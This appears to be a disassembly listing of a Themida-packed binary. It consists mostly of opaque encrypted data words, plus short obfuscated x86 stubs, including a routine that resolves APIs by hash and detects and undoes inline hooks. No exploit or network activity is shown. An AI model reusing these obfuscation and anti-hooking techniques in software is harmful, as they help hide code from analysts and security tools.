		dd 0C88260D5h, 48EE9F38h, 0DF07462Ch, 52B41637h, 3C6D5h
		dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 3508FA7h, 0D9FB57BEh
		dd 59CD80B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
		dd 0B232DCAAh, 168C096Ch, 133DCB2Fh, 96751336h,	0BD54142Bh
		dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 499D8D00h
		dd 0B8061534h, 23E4h, 90D8589h,	0E80615h, 58000000h, 0D05h
		dd 0E9038900h, 23E4h, 47h dup(0)
		dd 0F305E983h, 3CB8BA4h, 5657B6DBh, 0C2DD3032h,	4EED3849h
		dd 0BE1F5DB9h, 5675B132h, 43503068h, 595BAAF4h,	56AEB0BDh
		dd 36AB4432h, 56ABB6DBh, 0E5543832h, 0BEE30CECh, 83D60BBFh
		dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 4C17FB23h,	25FB668Bh
		dd 0FDF53FD5h, 69CB5EADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73E14DE6h, 4056FFA0h, 0F305E983h
		dd 8DDB8BA4h, 1C8832BDh, 0C38D8D06h, 0B8061D0Eh, 32156644h
		dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 0FF67549h,	586h, 50F56000h
		dd 12E9615Eh, 0C2000000h, 0B07645E2h, 581A33Ch,	6AFF4A4Bh
		dd 0CF3B8A6Eh, 0C2895287h, 0FC5A5852h, 8F5BD83h, 75000615h
		dd 0ADBD8309h, 61503h, 53501974h, 11B8C08Bh, 89000004h
		dd 1502A185h, 59D8D06h,	0FF0617ABh, 83585BD3h, 1503ADBDh
		dd 17740006h, 11B85350h, 89000004h, 1502A185h, 0A69D8D06h
		dd 0FF0617A7h, 0E9585BD3h, 13h,	509D0A59h, 8DE23AA6h, 49403592h
		dd 0E745DDEEh, 0F558FA36h, 242C8150h, 598B061Eh, 1EBF5758h
		dd 1598B06h, 8F0F5FF8h,	15h, 10E9h, 421BFA00h, 4B9EDEA2h
		dd 0C6163C55h, 5534F5ECh, 8D8DF82Fh, 61D1304h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 27C35141h, 0FEFA049Fh
		dd 1DF1958Bh, 8D890615h, 6152721h, 85C7FA8Bh, 61504CDh
		dd 614Ch, 7EBCBA66h, 111585C7h,	615h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0FFFCB2C3h, 237D6A2Ch, 1501F995h, 49B5FF06h,	6A06152Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 6DC5C356h, 3B39FD1Fh, 79E9F754h, 0FFD78B66h
		dd 1502C995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0D25029A6h, 8529C3E1h, 6152F0Dh
		dd 95FF006Ah, 6152E21h,	2CEBC08Bh, 0CB1F4BF8h, 318F2495h
		dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 3ED50225h,	0FA788A6Dh
		dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 409E25CEh, 12E8h, 7FE72400h
		dd 0CAD34110h, 12624605h, 697C6595h, 0E8132C76h, 0Eh, 90C5CA93h
		dd 958B36C6h, 0DA0E6764h, 0BF0F8D3Ch, 8B5B5FFEh, 1527CD85h
		dd 61C38106h, 60000073h, 0BDBB70Fh, 1505159Dh, 0C9336106h
		dd 9E953h, 0D24A0000h, 2A1CBD03h, 58573356h, 0F0B348Bh
		dd 0C681C0B7h, 3D93421h, 8860Fh, 89570000h, 150C099Dh
		dd 0EE815806h, 5D67669Ah, 3C1BD8Bh, 0F6810615h,	155BC90Eh
		dd 895680B6h, 1525958Dh, 0B048F06h, 0BB9B589h, 0BA660615h
		dd 0E983E707h, 81F94903h, 0FF8D64F9h, 12850FFFh, 8B000000h
		dd 152251BDh, 18E906h, 536A0000h, 0B9719414h, 75BD8B70h
		dd 0E9061534h, 0FFFFFF90h, 0D63D77DFh, 37E982F3h, 43000000h
		dd 4DAC17h, 0Ch	dup(0)
		dd 79E90000h, 68000004h, 61D1569h, 0F86A05E9h, 15EE68FFh
		dd 0FBE9061Dh, 68FFF869h, 61D16FFh, 0F869F1E9h,	0B82886FFh
		dd 73E346DDh, 0C0308DA2h, 0A7AFE35h, 0C636B46Bh, 8033782Fh
		dd 2C039202h, 65BA5BCBh, 31FE9707h, 409362D2h, 0E662A71Eh
		dd 8809169Bh, 143D08D6h, 0D7169BE6h, 44DF8C6h, 0E7169BE6h
		dd 240034D6h, 536056C6h, 69F580F0h, 0F289D073h,	0A3741086h
		dd 0C2DD1C7h, 86F21039h, 79E94E10h, 5D9F6C7h, 1B3E05D7h
		dd 0E21086F2h, 0F22D74D1h, 0D76E1086h, 1086F2B2h, 0E7B86839h
		dd 62B3103h, 7CFF34A4h,	55350A0Ch, 9C1B9A66h, 24122316h
		dd 93DB7CA1h, 1F8E0916h, 0BD42BF2Ah, 2BC459Dh, 0B2610000h
		dd 0C0E1955Ch, 86F2DC05h, 0A18E9F10h, 0FB22269Dh, 7A4B169Bh
		dd 526521A4h, 4EF20BF9h, 90F3401Eh, 51F44A20h, 15E67989h
		dd 0A973A374h, 0D2B82888h, 0D6E818E8h, 0BA0A001h, 0CBBF7920h
		dd 0ABCBBA89h, 2F281F13h, 0BA17E988h, 5B951B1h,	22D9D18h
		dd 474F73Ch, 0D141C271h, 4C7F2D4Ch, 0C44036AEh,	2C6h, 34C1318Dh
		dd 6B0A7AFFh, 2CC939B4h, 740171F7h, 2ACB3BBFh, 0FF833E6Dh
		dd 0B639E68Fh, 480AF46h, 0D1320194h, 1B439461h,	9BE761A8h
		dd 0B18B0C16h, 3BBF0BABh, 0F2266BDAh, 0F4C51086h, 194003DBh
		dd 0E41086F2h, 63E2FCD3h, 16A40636h, 0C9EAF4C5h, 0F7E5F969h
		dd 9BE6054Ch, 5FE6E816h, 169BE63Ah, 2BDFF0C1h, 0FF6FD360h
		dd 0E6123CB7h, 0E546169Bh, 0E698C184h, 5263169Bh, 287BA07Dh
		dd 0CAECB7D4h, 2416Ah, 44B41200h, 8FFF82B1h, 4CBC39E6h
		dd 86F67AA9h, 52C240EFh, 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h
		dd 0DD522393h, 0BC07EE5Eh, 0E7EE3392h, 0C8D169Bh, 0DB0BAB30h
		dd 4003D903h, 1086F219h, 8C37D3E4h, 16A4064Dh, 9C171F30h
		dd 169BE671h, 78FB38FEh, 88376208h, 0C5323CC1h,	174C49Dh
		dd 4FD80000h, 7D6DDD62h, 77BF2F8Ch, 0FC99096Ah,	3CBE0AAEh
		dd 68DBE3CCh, 169BFB30h, 4BAAECBDh, 1693FB02h, 0B09944EBh
		dd 9DBD274Dh, 20D3h, 0BABE700h,	0F04003DBh, 8D169BF5h
		dd 0D2FB7ABCh, 9B1693F1h, 0FD80C9F4h, 839DBD1Ch, 0C7h
		dd 57C72497h, 80F0525Fh, 0AE1E9D96h, 88F87B68h,	0F15061EDh
		dd 7BB89581h, 0B38C8AFAh, 0F783ECD7h, 16951086h, 17E7CFA6h
		dd 0AC05D7E7h, 3059EC4Dh, 0BB1086F7h, 0FCD1C5EAh, 9F61AF0Eh
		dd 0F18169Eh, 62EC8E5Dh, 567B4AEAh, 15169124h, 87E82B04h
		dd 0D263817h, 0CB583DADh, 0EF26F767h, 6CB7D965h, 130EA4Ah
		dd 0A3230000h, 6CCD6233h, 0AB0A19FCh, 63C55A3Bh, 0AD0D22F3h
		dd 4843583Dh, 9065D555h, 0C9AC1CA3h, 8B6ADA5Ah,	0CEA71794h
		dd 276AD905h, 0C6169BE4h, 624FF745h, 72486FDFh,	0C86A9BD0h
		dd 0A22011F9h, 0E5F76332h, 86073B5Eh, 58D5C210h, 0FED1AEE8h
		dd 109C1F0Ch, 876E41B1h, 0E72A99C3h, 86108607h,	245DD5B5h
		dd 47B73BC7h, 0D0F5864Fh, 627FCBB4h, 825C624Dh,	86B49EC3h
		dd 9E4C5D10h, 90008370h, 0EC3590CEh, 21086B4h, 34090D7Dh
		dd 0C4CFBB8Ch, 4C1242F6h, 9C07B679h, 0DAE4B516h, 0CE959D9h
		dd 936464A9h, 62B0A516h, 7F72CBFAh, 0AB84F475h,	0ED9D0D68h
		dd 0A64FBF3Ch, 8D89F979h, 7125h, 0BAB0100h, 154003DBh
		dd 0E816A406h, 6ED507D7h, 169BE62Bh, 0D343A5D2h, 13200EFCh
		dd 7EB540B0h, 2A898DFDh, 5A251472h, 76517CE3h, 6EF085F5h
		dd 9377E745h, 11B41596h, 4148D1C8h, 4EB1E2B3h, 0C8E7D8DEh
		dd 67DE00CEh, 4148D622h, 402F960h, 0FDA3D30Ah, 6BCD3E2Ch
		dd 0AEE858DFh, 0BDB8FED1h, 566614Ch, 0D0330095h, 3CE3660h
		dd 0EA000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
		dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
		db 7Ah,	3Ch, 78h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	0F5Ch
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	61D1462h
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, ebp
		push	edi
		pop	dword ptr [ecx+8]
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_581882
; ---------------------------------------------------------------------------
		cwde
		sar	dword ptr [eax+61D1854h], cl
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 4Bh,	0BCh, 2Eh
		dd 73DBE11Ch, 0D2C6FA50h, 7F4EA91Ah, 0E9198D77h, 0FC07C73Fh
		dd 0BFD4FA4Ch, 6FB85F1Ah, 0DB6E987Eh, 1E454427h, 67B13467h
		dd 4F8FDA70h, 353DBA52h, 41BB9C2Fh, 3D45C872h, 0A51C8D6Dh
		dd 9B30F02Ah, 8D3D342Eh, 7CB3E618h, 0EDD6FD11h,	296A7A4Bh
		dd 0D189EE59h, 230B486Dh, 0AD7D6C6Ch, 0D6986500h, 89E5AD0Ch
		dd 1CB8985Ch, 0EDE95Eh
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5FB366	proc near		; DATA XREF: Themida_:0057C690o
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_5FB451
		mov	esi, [ebp+615293Dh]
		cmp	esi, 0
		jnz	loc_5FB3A3
		mov	byte ptr [ebp+61509C5h], 45h
		push	8E726969h
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+61872BCh]
		call	eax
		mov	[ebp+6152669h],	eax
		mov	esi, eax


loc_5FB3A3:				; CODE XREF: sub_5FB366+15j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_5FB3DD
		lea	eax, [ebp+61A9620h]
		call	eax
		mov	edi, [ebp+6150B8Dh]
		add	edi, 1184h
		mov	esi, [ebp+615293Dh]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+615293Dh]
		lea	eax, [ebp+618BF13h]
		call	eax


loc_5FB3DD:				; CODE XREF: sub_5FB366+40j
		mov	esi, [ebp+6150DFDh]
		cmp	esi, 0
		jnz	loc_5FB40E
		mov	byte ptr [ebp+61509C5h], 54h
		push	0FF4EBEF4h
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+61872BCh]
		call	eax
		mov	[ebp+6150DFDh],	eax
		mov	esi, eax


loc_5FB40E:				; CODE XREF: sub_5FB366+80j
		cmp	byte ptr [esi],	0E9h
		jnz	loc_5FB451
		mov	esi, [ebp+6150DFDh]
		lea	eax, [ebp+61A9620h]
		call	eax
		mov	edi, [ebp+6150B8Dh]
		add	edi, 1184h
		add	edi, 8
		mov	esi, [ebp+6150DFDh]
		xchg	esi, edi
		mov	ecx, 8
		rep movsb
		mov	esi, [ebp+6150DFDh]
		lea	eax, [ebp+618BF13h]
		call	eax


loc_5FB451:				; CODE XREF: sub_5FB366+6j
					; sub_5FB366+ABj
		popa
		retn
sub_5FB366	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp+61D1937h]
		mov	[ebp+6152C61h],	eax
		lea	ecx, [ebp+61D1B09h]
		push	0
		push	eax
		call	sub_5FB470
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB470	proc near		; CODE XREF: Themida_:005FB468p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5FB470	endp

; ---------------------------------------------------------------------------
		dd 65698DE3h, 52FFC2D8h, 27218D89h, 0BF0F0615h,	0CD85C7C3h
		dd 0BC061504h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 1C44C356h, 82A2BEE3h
		dd 0BF2CA78Ah, 67576D95h, 2A36BA66h, 111585C7h,	615h, 81660000h
		dd 0FF2739E6h, 152E0DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0F4104C39h
		dd 8D260B08h, 2D8D890Eh, 0FF061517h, 1502C995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E9D1AEDAh, 0EC17BB43h, 0FF006A74h, 152E2195h, 0EBC08B06h
		dd 53946E7Ch, 0B216101Eh, 0C68B2923h, 4CFD58CFh, 3CA38994h
		dd 342E5424h, 0BCD0CA34h, 0FB733332h, 2125330Ch, 0F3299B59h
		dd 0F18769DFh, 0D5954214h, 0E39300F7h, 7081F4E7h, 0E04FDCB6h
		dd 0D9E698A1h, 9067661Ch, 0D6D68688h, 0E596FFE6h, 186BE7E0h
		dd 0A3087C4Eh, 0D0168EEDh, 0A99DADE8h, 8713F2CEh, 39A79DCBh
		dd 0E4950B6Dh, 27A29551h, 5FC3C647h, 67846EBh, 0A1506E10h
		dd 0CE50B568h, 30E97Bh,	8F060000h, 74521D12h, 6C6C416Ch
		dd 7461636Fh, 61654865h, 70h, 14h, 5 dup(0)
		dd 30E90000h, 68000012h, 61D1E08h, 0F86285E9h, 1F1A68FFh
		dd 7BE9061Dh, 68FFF862h, 61D216Dh, 0F86271E9h, 228468FFh
		dd 67E9061Dh, 68FFF862h, 61D25B2h, 0F8625DE9h, 268068FFh
		dd 53E9061Dh, 68FFF862h, 61D26BFh, 0F86249E9h, 27E568FFh
		dd 3FE9061Dh, 68FFF862h, 61D28A4h, 0F86235E9h, 28F968FFh
		dd 2BE9061Dh, 68FFF862h, 61D2AF6h, 0F86221E9h, 2C0668FFh
		dd 17E9061Dh, 60FFF862h, 909F76E6h, 0FF34C131h,	0B8670E7Eh
		dd 0F62DC838h, 3A710474h, 4CBC3E71h, 85F57AA9h,	51C143F0h
		dd 9C0C6FC4h, 4500CEF9h, 169BEE1Ch, 241E1EDFh, 525F57C7h
		dd 805789F1h, 8F1D12F6h, 0BB94BB2Bh, 9E06667Bh,	0E0E14640h
		dd 0EA2C03C0h, 381D3F0Bh, 47BD0070h, 2267DEE2h,	0C91086E9h
		dd 38A712F8h, 0A2BC2C8Fh, 7866D5B5h, 2F96771Eh,	1086BEEAh
		dd 8FAF8091h, 86BEED34h, 0CBBF9010h, 9F0F73C0h,	5ACA29F6h
		dd 83E4475Ch, 86BE99C0h, 0E151D710h, 5768D8B5h,	690D9D78h
		dd 6A9E2539h, 0F3169BB7h, 94171C22h, 8401F224h,	0E54F3B14h
		dd 93A73F5Eh, 0E8F6C816h, 93A7345Dh, 4E6B716h, 0C227228Dh
		dd 4A9DBD72h, 34h, 0BF0BAB5Eh, 0D7E7C838h, 9BF5CC6Ch, 28847116h
		dd 0AE817EB8h, 0F1C00D68h, 97161693h, 8202EF27h, 78212412h
		dd 852C9E45h, 1D8AEF5Ah, 2C129DBDh, 26000001h, 0B65FC724h
		dd 0EC3435EAh, 0CD14AF8Fh, 0B01086E3h, 9886B09Fh, 7B552CBFh
		dd 805EE247h, 862D9CC5h, 9C4E5F10h, 9B9B0B6Fh, 81B52586h
		dd 0D2A31370h, 0BAB34F88h, 785FCF2Eh, 0FDC10FE4h, 86E90346h
		dd 31D9EA10h, 86EC6892h, 8FFF7C10h, 4ABA39E6h, 0EA1ADE4Ch
		dd 25A971D4h, 4B54169Ch, 8F369398h, 16936D4Ah, 9E576031h
		dd 0C69A3D92h, 6E0CD709h, 1F876E41h, 220F2F5Fh,	45A30A0h
		dd 8B0EFE41h, 35907D10h, 0D3FCD1C5h, 380BD10Bh,	1CABCE11h
		dd 0E78ED3DCh, 0D7704C2Dh, 0A12112F8h, 28271740h, 0F159B8C6h
		dd 0AB970D54h, 0F0DFF01Ch, 0F363C5EEh, 43A77C17h, 70D1E2h
		dd 0AB977CA5h, 0AD12FF1Ch, 603D123Dh, 0B1C3DCC1h, 4C3094A2h
		dd 2C00000Fh, 9C9362D2h, 5BC8AD1Dh, 948B6ADAh, 62D1A414h
		dd 6A570E0h, 38A80A85h,	0F161C65Dh, 3DAD0F24h, 0F868CB58h
		dd 21A4AA1Dh, 169BECF8h, 243A0283h, 2B8856C6h, 35015EC6h
		dd 0ED3348A0h, 5703D4C2h, 350F5687h, 8CAE89A6h,	0BCE01DA3h
		dd 5A048F7Bh, 3066D659h, 0FD7EAB5Fh, 0AB44E88Dh, 4003DB0Bh
		dd 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h, 80C9F49Bh,	9DBD1CFDh
		dd 0E083h, 0C7249700h, 0F0525F57h, 6BC89680h, 0C9F49606h
		dd 1086F7A7h, 2BCA3AB9h, 0F0777F4h, 99A5D5A9h, 0E72A99C3h
		dd 861086F7h, 22E6D5B5h, 0CB169C00h, 0EB173A09h, 0C5D61693h
		dd 3B0AD4EAh, 1693EB16h, 930DCCD5h, 0B6D03FA0h,	14A2F199h
		dd 92A3464h, 2B9B1EAAh,	0F93D12EBh, 75D06604h, 108B74A5h
		dd 0D040BDF6h, 9D01E9E6h, 0FE81B28Ch, 845ADC8Eh, 0DA69CA2Fh
		dd 1CAB66B7h, 4C4A6536h, 4A65D557h, 9F0F73A0h, 3DC929F6h
		dd 724B4BBBh, 0AE1BC05Dh, 2A4CB1C3h, 0E3ACAh, 50C03E00h
		dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h
		dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0EDCA0FB6h
		dd 30B1169Bh, 5EC6240Ch, 9BCC34DDh, 680D2212h, 51AC38BBh
		dd 0DBD8B5E1h, 2DC8E757h, 57C724FFh, 2587D5Fh, 342BAB18h
		dd 57565E82h, 12F59380h, 0AC38BB78h, 0EEF0DF4Fh, 0C1F565C5h
		dd 724F1ECCh, 1086332Bh, 0A74EBE3Dh, 2B9AFB78h,	108633E6h
		dd 9B9BB485h, 81B52586h, 0E7E0CFC6h, 878F884h, 0A70C4E27h
		dd 0C101D646h, 6E2FECFBh, 94199476h, 1C97A851h,	0ADh, 31A12112h
		dd 4432A526h, 0E783872Ah, 0BF0BAB33h, 0DCE2CD3Dh, 0DF7FD502h
		dd 93C00A9Eh, 7BCCCF7h,	7041169Bh, 0F79EBF46h, 0B0671690h
		dd 22E14CFDh, 30819DBEh, 968664D4h, 71h, 0F296B672h, 0BCF51086h
		dd 751BCF3Fh, 0F6CD91C1h, 169C0A3Eh, 0C3876E3Fh, 0EBE72A99h
		dd 0C4861693h, 93EBD801h, 0BD92A316h, 52DE5CCDh, 65517EEEh
		dd 50D723D3h, 54EFCFE0h, 108EE28Ch, 5ED5A071h, 66286EDEh
		dd 0DBA0DC71h, 0D3ACEA5Ah, 0D5A0D804h, 8BBB7B35h, 2988A9B3h
		dd 0EA807DB9h, 0B69CA3BBh, 4D11221Ah, 201686E4h, 94303B2Fh
		dd 935h, 0E30BABA8h, 1225F386h,	98A68928h, 9BA8352Dh, 5FDDD616h
		dd 8A9BFBEFh, 93E4298Ch, 26911693h, 7F2792B7h, 0DAD9DBDh
		dd 89000000h, 86F297B6h, 0CC3FE510h, 5BFFFFFBh,	93B68D4Fh
		dd 5A1086F2h, 47F7A149h, 0FD52821Fh, 330C0A7Ah,	26F1AB24h
		dd 567956C6h, 0D585BD88h, 0F1E6169Ch, 55DFD1FCh, 0A1E85B73h
		dd 4C1693BCh, 2B6547Bh,	5F7E0531h, 281693BCh, 9E0B3E71h
		dd 409DBD6Ch, 0F62090F3h, 0F2D17119h, 0E5000004h, 0B1F2864Fh
		dd 0A4BD3EB3h, 86B0F821h, 9DB28310h, 5E57CAEDh,	0D5455780h
		dd 2F8AB664h, 86C05376h, 61091A10h, 0B63B8737h,	587F5046h
		dd 0A6D98BD4h, 4C123D57h, 9B9B9179h, 33CBDC16h,	59496E90h
		dd 53509BCh, 81328A39h,	6233B946h, 318E7B5Ch, 50BAD51Dh
		dd 4AEE7CBAh, 89EF441Ah, 4A201D19h, 20D051F4h, 9AABA370h
		dd 9C0C6FC4h, 59C92AF9h, 0E98C09C4h, 0E0645201h, 0BE7h
		dd 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h
		dd 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h
		dd 9BD3759Ch, 0C577F816h, 0D7488D4Fh, 0E746F634h, 0E4A3E65Fh
		dd 794A1086h, 0A545B53Ah, 0F77B0764h, 3E5BAF8Fh, 2E01D698h
		dd 0F5975609h, 725D4046h, 0DA595A44h, 0A8F1546Ah, 5310869Fh
		dd 4EF2A842h, 9F73962Dh, 29FA1086h, 1F1787EAh, 0F43D012Eh
		dd 1888E975h, 8EF2FF37h, 827181Eh, 7D69DC62h, 169C77h
		dd 0A2220F2Fh, 70CC6332h, 6AAF1600h, 16169367h,	169297F7h
		dd 2684D070h, 0FEC599B6h, 108E5E12h, 0DD4DA809h, 7EB8892Dh
		dd 0AC5DD6F7h, 949D9F1Ch, 916EA818h, 3A0FBEF9h,	0A3D2C8AFh
		dd 1335h, 0BAB5100h, 404003DBh,	1D169BFCh, 29AA0A0Ch, 7E000000h
		dd 9EE30BABh, 0FE861D37h, 0BB542025h, 0B7372E9Ch, 3AF51CA7h
		dd 0A7781086h, 9F0FB688h, 0DE169B3Ah, 0B6E050B1h, 0BCC0F6D9h
		dd 0C657C724h, 0BDF14209h, 0D0E46056h, 0A800000Ah, 0E837DE4Eh
		dd 0A77C1989h, 0F03FD646h, 0DE552090h, 9209EC5Ch, 0D444A619h
		dd 1D8DF241h, 0D949AB78h, 1484E73Ch, 0BD885681h, 169BD094h
		dd 4FA69657h, 0A894ED86h, 0C0FFD848h, 7D33D700h, 0A0106DB9h
		dd 8414AF8Fh, 0F9169C36h, 76F5EE28h, 77FB3806h,	41B10C07h
		dd 5E80CAA9h, 93A5A2E7h, 5F784916h, 2F16B297h, 7924C65Eh
		dd 31C747D5h, 34C1F192h, 0BC82B286h, 1B858C9Bh,	0E1D2ED53h
		dd 0C9C6F060h, 34A81B21h, 393BFB20h, 0B4352E68h, 3509B144h
		dd 0B8248CE9h, 72893D30h, 2FB3B14h, 0A6B2112Dh,	0D725EE70h
		dd 2875D0C6h, 0D5290C67h, 53D6735Ah, 0D9D132B3h, 142h
		dd 0E30BABADh, 6FE52FFh, 31B89FC4h, 80F77CABh, 9FBD81AEh
		dd 74BF2F92h, 0B6E585F5h, 169C27DAh, 8FA492A3h,	4AD9BC2Ch
		dd 4F3D79E9h, 0C382E362h, 1693B79Eh, 33634C5Dh,	604FBF3Eh
		dd 69731B8Ah, 66531C7h,	0AAB7A096h, 0A489098Ah,	2393171Ch
		dd 0B82792F3h, 0CFFE652Bh, 330B7BF8h, 1FD49E22h, 0AE0B779h
		dd 0C737B46Bh, 64A874CFh, 40C01AB2h, 6ACDE6D0h,	0DBB4D202h
		dd 0D7F84FE9h, 0F5E84FDFh
		dd 820346FDh, 0D9EA442Dh, 7766CFF6h, 0F283F350h, 484EBE3Dh
		dd 0CFEF1FE2h, 2D74CF0Dh, 0D0442D82h, 9B00BFFh,	34442D82h
		dd 4076E647h, 795E604Fh, 55746239h, 0FB9A707Dh,	3DB0BABh
		dd 374D1440h, 0DED8E942h, 5ADA66C5h, 0FCD3ACEAh, 0FE6ED1E2h
		dd 4823C7B8h, 0DC4CAD06h, 0E7EFD2Eh, 0AD1CAD08h, 0F5A44A46h
		dd 0E7EFDCAh, 75E94A67h, 0C182DE1Bh, 0CC2F0491h, 0CF31825Ch
		dd 281AB5Fh, 59DA0F0Fh,	0BF08B73Eh, 0C1F2CC3Ch,	5736D444h
		dd 5EDF6BC8h, 63D5C1EEh, 815B6393h, 0AB5FCF30h,	0C02D1410h
		dd 86586943h, 92A4ED58h, 7E474BF7h, 96FE56AFh, 17200FF4h
		dd 0F49411F5h, 9AF99153h, 6716h, 0BABF200h, 0F2365BEAh
		dd 0E4B51086h, 4EBE5D3h, 0CCE350CAh, 0A15753F2h, 9AC4169Bh
		dd 9395E62Bh, 1D988516h, 0B8E882ADh, 3FC2AFE7h,	30448AD7h
		dd 93A34C95h, 391E2F16h, 4669C63Ah, 2186ABAFh, 5A7CD9B1h
		dd 0E48552D4h, 0D2F7CE6Fh, 9916939Dh, 3DC1AF88h, 64D45B58h
		dd 3AD5D32h, 8B3A0434h,	1693384Eh, 14181C2Dh, 0BE57C724h
		dd 461848F8h, 0E5533F18h, 436BA2D2h, 6344FCA7h,	3809169Ch
		dd 23AF0D26h, 43B3119Dh, 7A557A53h, 0B828849Bh,	1EA3907Eh
		dd 0F39768AEh, 0F5C9F9BDh, 8988564Eh, 106CC510h, 98B72784h
		dd 0E1FDCEF2h, 0E98CC4F4h, 0C8A24903h, 74A6E74Eh, 7F3F1CADh
		dd 0BF426F4Fh, 5A5CCC33h, 734C4A65h, 12FEC597h,	6B1AB17Dh
		dd 0B4D95C5Ah, 4102B962h, 44B4367Bh, 862E2773h,	0C9A12308h
		dd 0FF6ADFCEh, 85A9E719h, 1Ch, 45864FA1h, 2C726405h, 65197F6Bh
		dd 2E9A2935h, 2F169B0Dh, 169C181Eh, 70000000h, 3DB0BABh
		dd 9BF24C40h, 85E41116h, 240B7BF9h, 4321DF2h, 0DF624FF8h
		dd 2D8E7B6Fh, 4219E0BDh, 2C4ABDF1h, 7A2C8h, 0E858D600h
		dd 2393160Dh, 0F060DD52h, 3AAA0E25h, 0F666C45Bh, 9003881Fh
		dd 0FC33C232h, 0B56A0B7Bh, 12EC737h, 50831282h,	0D792B78Eh
		dd 9859169Bh, 935EB2A4h, 0B1ABB3E3h, 20A30480h,	1086F2F9h
		dd 9A9CB384h, 72D6C5A5h, 0FB169BFBh, 0C7CF839h,	93F87099h
		dd 8A39FB16h, 1693F847h, 153A1526h, 0C6573A89h,	7010D4D8h
		dd 6B597E40h, 6CDC5EECh, 904FA4Bh, 0A068DB61h, 4DDEC7B0h
		dd 5C73E360h, 0F30D05Ah, 0F63C6DB4h, 103F10DEh,	9F23104Eh
		dd 7416E72Fh, 0ECE35C49h, 92F21FD8h, 181BF422h,	14E92D9Dh
		dd 0AD0E233Bh, 0B110213Dh, 92785541h, 0D95A5703h, 8E502D69h
		dd 0FB92B7h, 0A24859C4h, 0DBA21271h, 0E96B3912h, 0D4E35F55h
		dd 0A4000006h, 0E43BDA4Ah, 0B3801585h, 1C13E252h, 0DA492C9Ch
		dd 8E0DE858h, 0B020A21Dh, 79E94EE5h, 0B525879Ch, 80F053E0h
		dd 49FCE2F5h, 169BD400h, 24122AEBh, 67C657C7h, 74BDF144h
		dd 6950282h, 63E30000h,	0AC0D22F3h, 6BCA593Ch, 0A3051AFBh
		dd 6DCD6233h, 88318FDh,	0D0A51595h, 896CDC63h, 0CBAA1A9Ah
		dd 8E67D754h, 67AA1945h, 6169BD4h, 0C724B785h, 6649B93Bh
		dd 0C6F6CA30h, 0DE74DF8h, 0F2416A4h, 7F83EAEh, 0D2713363h
		dd 169BE98Fh, 51C1416Eh, 0BCE5607Eh, 3F169BE9h,	6B4416Eh
		dd 6FB21132h, 0E169BE9h, 794C123Dh, 10810481h, 38BBFBCCh
		dd 1CB4BB15h, 4302DCE2h, 1CB4BB1Eh, 731ECCDDh, 2F8DA64Ch
		dd 0BBD2F7CEh, 88991CB4h, 65C8C3A7h, 0EBA3DA67h, 0C2h
		dd 0D31DF4E1h, 6A25CBC0h, 9284734Dh, 26C46C2Dh,	945DB2EEh
		dd 0B4AAB4E4h, 0F2F61BAAh, 0A4751086h, 0FB73D7C6h, 29FA169Bh
		dd 30A01C15h, 1B610906h, 9B0E1BA8h, 2C5C1CD9h, 86E74C12h
		dd 3B2F2016h, 80064C60h, 47A4D1C3h, 0CDE6F8D7h,	0A6BBFB6Bh
		dd 12F8D747h, 0AE1D3A24h, 281B3D29h, 0EB2E882h,	0E2CD3DC2h
		dd 0E454D7DCh, 94953006h, 0E7CDAEB1h, 9EB60FDEh, 634C60D5h
		dd 65D5565Bh, 0B020A390h, 0A71784EDh, 0D9595BDCh, 56Fh
		dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh
